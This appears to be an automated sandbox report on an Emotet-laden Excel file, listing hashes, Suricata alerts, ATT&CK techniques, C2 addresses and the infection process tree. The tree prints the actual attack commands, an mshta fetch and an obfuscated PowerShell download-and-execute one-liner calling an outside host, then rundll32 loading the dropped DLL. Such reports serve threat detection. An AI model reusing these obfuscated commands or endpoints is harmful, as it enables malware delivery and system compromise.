emotet | ae0a700e0196cfa2fb776f1aebe39f33dddec432a45f2a55640fd79082cb4106

Analysis

max time kernel
122s
max time network
139s
platform
windows10_x64
resource
win10-en-20211208
submitted
24/12/2021, 00:08

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General

Target
8354addeb717a763c318be1a9a32bd57.xls
Size 63KB
Sample211224-aexldacfgj
SHA256 ae0a700e0196cfa2fb776f1aebe39f33dddec432a45f2a55640fd79082cb4106
MD5 8354addeb717a763c318be1a9a32bd57
SHA1 e8a8ebd4d59c6b25cf20edfe9fb844206252bce5
SHA512 b8ab16e1963f7cd7b21937ef798d50c707a8e3e31f8afbb3b623ac133b802a933ac4f92d52eb09cf1d9cd2b5961ecd9513db46ce9ed6a779bfd88f0ec1cb52b8
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://87.251.86.178/pp/aa.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://87.251.86.178/pp/PP2.PNG

Extracted

Family

emotet

Botnet

Epoch4

144.217.91.150:443
51.38.71.0:443
212.237.56.116:7080
79.172.212.216:8080
178.79.147.66:8080
138.185.72.26:8080
192.254.71.210:443
178.63.25.185:443
195.154.133.20:443
45.118.135.203:7080
81.0.236.90:443
107.182.225.142:8080
162.214.50.39:7080
50.116.54.215:443
203.114.109.124:443
45.118.115.99:8080
216.158.226.206:443
104.168.155.129:8080
110.232.117.186:8080
176.104.106.96:8080
46.55.222.11:443
51.68.175.8:8080
207.38.84.195:8080
58.227.42.236:80
45.176.232.124:443
104.251.214.46:8080
103.8.26.102:8080
45.142.114.231:8080
217.182.143.207:443
41.76.108.46:8080
212.237.5.209:443
103.8.26.103:8080
212.237.17.99:8080
173.212.193.249:8080
158.69.222.101:443
103.75.201.2:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2392	1296	cmd.exe	68

suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
22	3988	mshta.exe
26	2076	powershell.exe
28	2076	powershell.exe
30	2076	powershell.exe
48	3552	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
964	rundll32.exe
1340	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Tamwzmmshqfnq\qfvnhq.nhd	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3204	3988	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1296	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2076	powershell.exe
2076	powershell.exe
3204	WerFault.exe
3204	WerFault.exe
3204	WerFault.exe
3204	WerFault.exe
3204	WerFault.exe
3204	WerFault.exe
3204	WerFault.exe
3204	WerFault.exe
3204	WerFault.exe
3204	WerFault.exe
3204	WerFault.exe
3204	WerFault.exe
3204	WerFault.exe
3204	WerFault.exe
2076	powershell.exe
3552	rundll32.exe
3552	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2076	powershell.exe
Token: SeDebugPrivilege	3204	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1296	EXCEL.EXE
1296	EXCEL.EXE
1296	EXCEL.EXE
1296	EXCEL.EXE
1296	EXCEL.EXE
1296	EXCEL.EXE
1296	EXCEL.EXE
1296	EXCEL.EXE
1296	EXCEL.EXE
1296	EXCEL.EXE
1296	EXCEL.EXE
1296	EXCEL.EXE
1296	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1296 wrote to memory of 2392	1296	EXCEL.EXE	71
PID 1296 wrote to memory of 2392	1296	EXCEL.EXE	71
PID 2392 wrote to memory of 3988	2392	cmd.exe	73
PID 2392 wrote to memory of 3988	2392	cmd.exe	73
PID 3988 wrote to memory of 2076	3988	mshta.exe	75
PID 3988 wrote to memory of 2076	3988	mshta.exe	75
PID 2076 wrote to memory of 1256	2076	powershell.exe	79
PID 2076 wrote to memory of 1256	2076	powershell.exe	79
PID 1256 wrote to memory of 964	1256	cmd.exe	80
PID 1256 wrote to memory of 964	1256	cmd.exe	80
PID 1256 wrote to memory of 964	1256	cmd.exe	80
PID 964 wrote to memory of 1340	964	rundll32.exe	81
PID 964 wrote to memory of 1340	964	rundll32.exe	81
PID 964 wrote to memory of 1340	964	rundll32.exe	81
PID 1340 wrote to memory of 2092	1340	rundll32.exe	82
PID 1340 wrote to memory of 2092	1340	rundll32.exe	82
PID 1340 wrote to memory of 2092	1340	rundll32.exe	82
PID 2092 wrote to memory of 3552	2092	rundll32.exe	83
PID 2092 wrote to memory of 3552	2092	rundll32.exe	83
PID 2092 wrote to memory of 3552	2092	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8354addeb717a763c318be1a9a32bd57.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1296
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/aa.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2392
- - C:\Windows\system32\mshta.exe
    mshta http://87.251.86.178/pp/aa.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://87.251.86.178/pp/PP2.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2076
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,ssd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1256
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,ssd
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:964
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1340
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tamwzmmshqfnq\qfvnhq.nhd",ymgnmytTguSdyx
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2092
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Tamwzmmshqfnq\qfvnhq.nhd",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3552
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3988 -s 2292
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3204

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/964-334-0x0000000000840000-0x0000000000867000-memory.dmp

Download

memory/1296-118-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Download

memory/1296-122-0x0000017519620000-0x0000017519622000-memory.dmp

Download

memory/1296-121-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Download

memory/1296-120-0x0000017519620000-0x0000017519622000-memory.dmp

Download

memory/1296-115-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Download

memory/1296-119-0x0000017519620000-0x0000017519622000-memory.dmp

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memory/1296-117-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/1296-116-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Download

memory/1340-335-0x0000000000790000-0x00000000007B7000-memory.dmp

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memory/2076-304-0x000002B77D910000-0x000002B77D986000-memory.dmp

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memory/2076-305-0x000002B77D040000-0x000002B77D042000-memory.dmp

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memory/2076-306-0x000002B77D043000-0x000002B77D045000-memory.dmp

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memory/2076-293-0x000002B77D850000-0x000002B77D88C000-memory.dmp

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memory/2076-274-0x000002B77D180000-0x000002B77D1A2000-memory.dmp

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memory/2076-321-0x000002B77D046000-0x000002B77D048000-memory.dmp

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memory/2092-338-0x0000000003360000-0x0000000003387000-memory.dmp

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memory/3552-339-0x0000000000F80000-0x0000000000FA7000-memory.dmp

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